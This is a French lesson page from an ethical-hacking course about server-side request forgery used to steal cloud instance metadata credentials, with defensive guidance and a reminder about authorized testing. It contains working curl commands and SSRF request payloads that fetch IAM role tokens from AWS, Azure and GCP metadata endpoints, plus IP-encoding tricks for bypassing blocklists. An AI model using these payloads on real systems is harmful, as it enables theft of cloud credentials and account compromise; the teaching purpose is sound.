Métadonnées et SSRF
Attaques propres au cloud
Métadonnées et SSRF est une leçon Ethical Hacking Academy gratuite sur CoddyKit. Ceci est la leçon 4 sur 4. Tu peux lire la leçon complète ci-dessous gratuitement — puis la pratiquer en direct dans le navigateur avec un éditeur de code intégré et un tuteur IA 24/7. Elle fait partie du parcours d'apprentissage Ethical Hacking Academy, et ta progression se synchronise sur le web et l'application CoddyKit. Le cours Ethical Hacking Academy comprend 4 leçons au total.
Le service de métadonnées d’instance
Chaque VM cloud peut interroger un point de terminaison interne spécial pour obtenir des informations sur elle-même : le Instance Metadata Service (IMDS). Point essentiel, il peut également fournir les identifiants temporaires du rôle associé à l’instance.
- AWS / GCP / Azure exposent tous des métadonnées à l’adresse
169.254.169.254 - Il n’est accessible que depuis l’intérieur de l’instance
- Il n’exige aucune authentification de la part des processus locaux
Cette commodité devient une arme lorsqu’elle est associée à SSRF.
Lecture des métadonnées AWS (IMDSv1)
Avec l’ancien IMDSv1, une seule requête GET renvoie les métadonnées, notamment les identifiants du rôle. Aucun jeton n’est nécessaire.
C’est précisément ce qui rend IMDSv1 dangereux lorsqu’une application est vulnérable à SSRF.
# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-roleQu’est-ce que SSRF ?
La Server-Side Request Forgery (SSRF) est une vulnérabilité dans laquelle un attaquant trompe un serveur pour qu’il effectue des requêtes HTTP à sa place. Le serveur devient un proxy vers des endroits que l’attaquant ne peut pas atteindre directement.
- Un paramètre d’URL que le serveur récupère
- Un webhook, un générateur de PDF ou une fonctionnalité de redimensionnement d’images
- Tout élément qui accepte une URL fournie par l’utilisateur
Dans le cloud, la cible classique d’une SSRF est le point de terminaison des métadonnées.
Quand SSRF rencontre les métadonnées
La combinaison est redoutable : une application vulnérable à SSRF permet à l’attaquant de diriger le serveur vers 169.254.169.254. Le serveur récupère les identifiants IAM de l’instance et les renvoie.
L’attaquant détient alors des identifiants cloud, ce qui constitue souvent le début d’une compromission complète du compte.
# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png
# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-roleUtilisation d’identifiants volés
La réponse des métadonnées contient une clé d’accès, une clé secrète et un jeton de session. L’attaquant les exporte et agit immédiatement en tant que rôle de l’instance.
À partir de là, il recense les autorisations et recherche des voies d’escalade.
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Confirm the stolen identity
aws sts get-caller-identityIMDSv2 comme mécanisme de défense
AWS a introduit IMDSv2 pour limiter les SSRF. Il exige d’abord un jeton de session obtenu au moyen d’une requête HTTP PUT, ce que la plupart des mécanismes SSRF ne peuvent pas effectuer (ils ne font que des requêtes GET).
Imposer IMDSv2 et définir une faible limite de sauts réduit considérablement le vol de métadonnées via SSRF.
# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/Métadonnées Azure et GCP
Les autres fournisseurs exposent eux aussi des métadonnées, avec leurs propres particularités. Tous deux exigent un en-tête spécial, ce qui constitue en soi une petite mesure d’atténuation contre les SSRF.
- Azure exige
Metadata: true - GCP exige
Metadata-Flavor: Google
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'Techniques de contournement des SSRF
Les défenseurs bloquent souvent 169.254.169.254 à l’aide d’une liste noire. Les attaquants contournent les filtres naïfs au moyen d’autres encodages d’adresses IP et de redirections.
- IP décimale :
2852039166 - Encodages octal et hexadécimal de la même adresse
- Rebinding DNS vers un nom qui se résout vers l’IP des métadonnées
- Redirections ouvertes qui redirigent la requête vers l’URL des métadonnées
Des défenses robustes doivent valider l’IP résolue, et non la chaîne brute.
# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/Autres cibles de SSRF
Les métadonnées sont la cible principale, mais les SSRF permettent d’atteindre davantage de ressources internes :
- Panneaux d’administration et tableaux de bord internes liés à localhost
- Bases de données et caches internes (Redis, Elasticsearch)
- Serveur d’API Kubernetes et points de terminaison kubelet
- Autres microservices non exposés extérieurement
Une SSRF perce efficacement le périmètre réseau depuis un point de vue de confiance.
Défense contre la chaîne d’attaque
Rompre la chaîne SSRF vers les métadonnées nécessite une défense en profondeur :
- Imposer IMDSv2 et définir la limite de sauts des métadonnées à 1
- Valider les URL sortantes et utiliser une liste d’autorisation dans les fonctionnalités de récupération
- Bloquer les requêtes vers les plages d’IP privées et de liaison locale après la résolution DNS
- Appliquer le principe du moindre privilège aux rôles d’instance afin de limiter les identifiants volés
Des rôles soumis au moindre privilège garantissent que même un vol réussi aura peu de conséquences.
Testez uniquement ce pour quoi vous êtes autorisé
Les tests de SSRF peuvent atteindre, par conception, des systèmes internes sensibles. Faites preuve de discipline :
- Vérifiez que l’hôte cible et le compte cloud sont dans le périmètre autorisé
- Ne vous introduisez pas dans des systèmes situés en dehors de l’engagement
- Arrêtez-vous et signalez le problème dès que vous avez prouvé l’accès aux identifiants
L’accès aux métadonnées a un impact élevé : démontrez-le avec précaution et n’utilisez pas sans limites les clés volées.
Vérification rapide
Pourquoi l’imposition d’IMDSv2 contribue-t-elle à se défendre contre le vol d’identifiants fondé sur SSRF ?
Récapitulatif : métadonnées et SSRF
Vous avez appris quelle est la chaîne d’attaque cloud la plus lourde de conséquences.
- Le service de métadonnées à l’adresse 169.254.169.254 fournit les identifiants du rôle de l’instance
- SSRF permet à un attaquant de faire récupérer ce point de terminaison par le serveur
- Les identifiants temporaires volés permettent de prendre le contrôle du compte
- IMDSv2 bloque la plupart des SSRF en exigeant un jeton fondé sur une requête PUT
- Défendez-vous au moyen de listes d’autorisation d’URL, de la validation des IP et de rôles soumis au moindre privilège
Cette section sur les tests d’intrusion cloud est terminée. Prochain cours : chasse aux primes de bugs.
Apprends Ethical Hacking Academy avec un tuteur IA — gratuit
Écris et exécute du vrai code dans ton navigateur, obtiens de l'aide instantanée d'un tuteur IA disponible 24h/24, et reprends là où tu t'es arrêté sur le web ou dans l'app.
- Cours
- 31
- Leçons
- 111
Questions Fréquemment Posées
La leçon « Métadonnées et SSRF » est-elle gratuite ?
Oui — le texte complet de « Métadonnées et SSRF » est gratuit à lire ici sur le web. Pour la pratiquer de manière interactive (un éditeur de code intégré et un tuteur IA 24/7) et déverrouiller le reste du cours Ethical Hacking Academy, passe à CoddyKit PRO. Le cours Ethical Hacking Academy comprend 4 leçons au total.
Qu'est-ce que j'apprendrai dans « Métadonnées et SSRF » ?
Attaques propres au cloud Tu pratiques Ethical Hacking Academy avec du code pratique que tu exécutes directement dans le navigateur, et un tuteur IA 24/7 répond à tes questions au fur et à mesure que tu avances dans la leçon.
Dois-je avoir de l'expérience pour commencer Ethical Hacking Academy ?
Aucune expérience préalable n'est requise. Ethical Hacking Academy sur CoddyKit est structuré pour les débutants jusqu'aux apprenants avancés, donc tu peux commencer ici ou depuis le début et avancer à ton rythme. Ceci est la leçon 4 sur 4.
Combien de temps prend la leçon « Métadonnées et SSRF » ?
La plupart des leçons CoddyKit prennent environ 5–10 minutes. Chacune est courte et interactive, tu progresses régulièrement et tu repiques exactement où tu t'es arrêté sur le web et l'app.
Peux-tu écrire et exécuter du code dans cette leçon Ethical Hacking Academy ?
Oui. Chaque leçon Ethical Hacking Academy inclut un éditeur de code intégré, tu écris et exécutes du vrai code directement dans ton navigateur et tu reçois des retours IA instantanés — aucune configuration locale requise.
Toutes les leçons de ce cours
- Surface d’attaque du cloud
- Mauvaises configurations IAM
- Exposition de S3 et du stockage
- Métadonnées et SSRF